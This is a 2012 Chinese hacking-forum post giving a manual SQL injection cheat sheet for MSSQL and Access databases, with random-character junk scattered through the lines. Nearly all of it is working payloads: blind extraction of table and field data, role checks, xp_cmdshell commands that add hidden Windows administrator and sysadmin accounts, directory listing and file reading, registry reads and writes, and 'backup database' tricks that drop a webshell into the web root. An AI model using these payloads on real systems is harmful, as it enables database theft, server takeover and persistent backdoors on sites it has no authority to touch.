中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入   f4 K5 c  I+ y/ S
1.判断是否有注入;and 1=1 ;and 1=2
& P  f3 q/ c6 _$ i- X) K6 E
. L6 R6 i% m  X: }. ]2.初步判断是否是mssql ;and user>0
5 f/ {* J& M" {1 o. a5 f
0 T, \- b3 a5 R3.注入参数是字符'and [查询条件] and ''='
( j' o# H8 U, i, ]9 ?! D  ^! q+ A% c2 l! K
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 4 k3 t2 M' f5 ]" G$ d
3 r- d3 m, ?2 O$ [( A: G5 A
5.判断数据库系统
6 ^# n% _' P) C' v;and (select count(*) from sysobjects)>0 mssql
. m8 U5 \( b5 u;and (select count(*) from msysobjects)>0 access : K. Q2 V4 n- y( {! ]7 l" L
4 O+ Q: o( ]6 z8 Z
6.猜数据库 ;and (select Count(*) from [数据库名])>0 0 d) [" `* c" T. H

" Q3 I; ]- J# R7 }; ~. \7.猜字段 ;and (select Count(字段名) from 数据库名)>0 % O7 l3 |/ _7 T, H% @! n; t0 m

. t& F7 u( n0 r8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 - a% |& y* [! T# o( O. Q
! }! b/ x6 u4 F( [( t/ ~' X$ Q
9.(1)猜字段的ascii值(access)
+ b# T+ v# B7 u! z7 h;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
5 H9 Y  F! {3 `9 X) m7 C% J4 g! c" C* a: m/ S2 p" Q3 [- T  T: p
(2)猜字段的ascii值(mssql) # m) m* u3 L' N3 c
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 9 {, y. W# `. ~$ _- V

5 d1 Z2 h% s0 g7 ?10.测试权限结构(mssql)
( ]/ G2 p9 T7 K+ o4 A  u& {! x2 n;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ; z7 F9 X7 e/ {; _
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ ~$ g4 Z- O8 ^1 Y! I6 T3 \# A
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 s( @# e6 y( w9 a: f9 r
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- . s7 D1 I5 K! I. ]4 R3 Z% i, Z0 y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4 h! A2 f9 K7 q2 J+ l: u5 f0 g
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ! ]( |6 x2 H4 a, c- _' u
;and 1=(select IS_MEMBER('db_owner'));-- / j2 c% a% d  e" O

1 k% x/ I  E7 o8 E1 T0 n! F4 a11.添加mssql和系统的帐户 2 k! L5 M' G' p! c
;exec master.dbo.sp_addlogin username;--
  r, K6 Y7 D5 F& e" x  y) F6 ^9 Z% F3 g. f
;exec master.dbo.sp_password null,username,password;--
5 ~) g3 M9 |, U- w9 f# s' T1 }/ H
3 ~; X- D! H1 ]- H;exec master.dbo.sp_addsrvrolemember sysadmin username;--
* C0 o% p" ]: a; ]
- B) d; v3 b- s$ A6 [& U;exec master.dbo.xp_cmdshell 'net user username password
/ [: T0 E' c1 R' n3 E/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
! ]  t$ E! F1 `/ \, d: y  \1 C( d- I9 l3 J
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 5 T2 N) A( b, x2 f

5 ~+ b: `* D+ v* q* c1 I$ n& y;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- + P2 A; {4 {- o# b" U
/ T: B- w% U# o8 K0 K
12.(1)遍历目录
8 U4 c( B/ B% A. I5 @
. L5 s; B. q  D+ u1 V5 P, o;create table dirs(paths varchar(100), id int) : A# z) x  g* |. [! V/ E
;insert dirs exec master.dbo.xp_dirtree 'c:\' 3 J0 f+ V' u" @9 C/ ?+ g
;and (select top 1 paths from dirs)>0
" s6 T/ L6 @& h6 D;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
" L- m- Z+ B+ \4 @( w4 J8 w: c# G
, i, B# Y! P: c4 Q# t" K(2)遍历目录
2 m/ w+ ]+ w- v! g;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ {& _8 i$ v. R* x; H7 g;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ; }4 L$ d9 s& _* v2 T
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 : p8 ~' x; D) R: y( f
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
% ]3 e. f# o. K: h& j, T  {% w;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 + {3 B, a" Z, l$ {
0 d4 _" t2 |4 N; B
13.mssql中的存储过程 , y+ G# B; K& N, D. L( i: ^. ?& h
% k2 U: }  d5 R8 c; X
xp_regenumvalues 注册表根键, 子键 ; J  ?" K  t6 I# W$ S# f
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0 S1 f  w/ m. O
" t& A, i9 Q+ f* [. X/ c' @
xp_regread 根键,子键,键值名 * A* m( K# f& O! r9 _
;exec xp_regread
7 U; \3 L' z( D! W'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
& u4 Z9 C; ?( X+ x& t5 N! s
* w6 q& {. {% ]4 h* zxp_regwrite 根键,子键, 值名, 值类型, 值 4 E4 u0 L) h( C8 V" y
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ) r6 k1 t0 ?  X. f% x5 M
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ! b' Y' M3 N: M$ g. ^5 u
  x2 x) N6 Z1 _+ I% A  {$ H5 G
xp_regdeletevalue 根键,子键,值名
1 B  Q4 ]1 A. a1 K1 a% S5 }" o
+ b5 o: j3 \  e7 V/ \, O. Nexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0 {$ c$ _& |+ B2 X. L' {

. N8 @7 c. c0 R" ]xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
" n" _; x, W. g! d0 K- H# G  d9 G; Z3 \/ f, l1 V+ A
14.mssql的backup创建webshell ; k; L6 L9 {" P0 t9 Q
use model
) {* N3 v) `  y7 |9 ccreate table cmd(str image); + p! s; X* ~% _6 J6 S+ d
insert into cmd(str) values ('');
; n5 Z2 a7 Y; Z* J/ V# G5 U1 |! c( jbackup database model to disk='c:\l.asp';
- `% H9 C$ h5 T5 @; [( p9 k5 d" ^2 O& g- R9 l/ p
15.mssql内置函数 " g6 k, W; k; y1 X
;and (select @@version)>0 获得Windows的版本号 1 X' y8 ^0 j+ @3 T; a( s8 m3 t
;and user_name()='dbo' 判断当前系统的连接用户是不是sa : A( P9 @/ d+ N$ W* ~
;and (select user_name())>0 爆当前系统的连接用户 8 u5 X, s# v; }% Z: X  \; d
;and (select db_name())>0 得到当前连接的数据库
3 j; }* N2 x% C1 F/ k' B
* N/ n7 v9 }% p$ |$ N! \# ]0 E16.简洁的webshell
7 c  ]& I/ u+ w6 I# S9 G
  G1 |2 \$ u  juse model
0 ]8 s; q+ z3 E6 f* R
* T0 N( h1 v( J' S9 ?! @* Kcreate table cmd(str image); 2 M; U6 ~$ c/ q6 n' W. v+ w
# R6 u4 z" q3 @- b
insert into cmd(str) values ('');
- ^7 u" ^  x* j1 y# \2 D7 M
- n$ K- }6 w/ [  k; w* i1 {backup database model to disk='g:\wwwtest\l.asp';
* Y% j& ]! D" y# }& K; C - H& U; L; y! T. b/ L# ^2 v. y' |

作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2